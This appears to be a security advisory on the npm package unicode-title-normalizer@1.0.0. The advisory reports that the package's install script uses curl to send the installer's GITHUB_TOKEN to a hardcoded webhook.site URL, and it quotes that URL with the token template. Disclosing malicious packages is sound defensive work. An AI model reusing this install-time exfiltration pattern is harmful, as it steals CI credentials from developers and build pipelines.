unicode-title-normalizer@1.0.0

Summary

The package's npm install lifecycle script in package.json (line 11) runs curl against a hardcoded webhook.site collector URL (https://webhook.site/7527749a-4aa3-4727-abb4-fc0ffd8e89ab/workfloou/${{GITHUB_TOKEN}}), appending the installer's GITHUB_TOKEN value to the request path. On npm install this sends the CI/installer GitHub token to an anonymous third-party request-bin that is unrelated to the publisher. The shipped code is otherwise a trivial hello() stub and the package name (unicode-title-normalizer) and description (Says hello.) do not correspond to the shipped functionality — the only operative behavior is the install-time credential exfiltration. The GitHub-Actions-style ${{GITHUB_TOKEN}} templating indicates the payload is designed to detonate inside a GitHub Actions workflow where the token expands to a live CI credential. Package shape is consistent with a typosquat/dependency-confusion lure.

Source: amazon-inspector (d0b7fd66ab9bf639779e619823ab3eb75ee795206661fa0472331571e32196ab)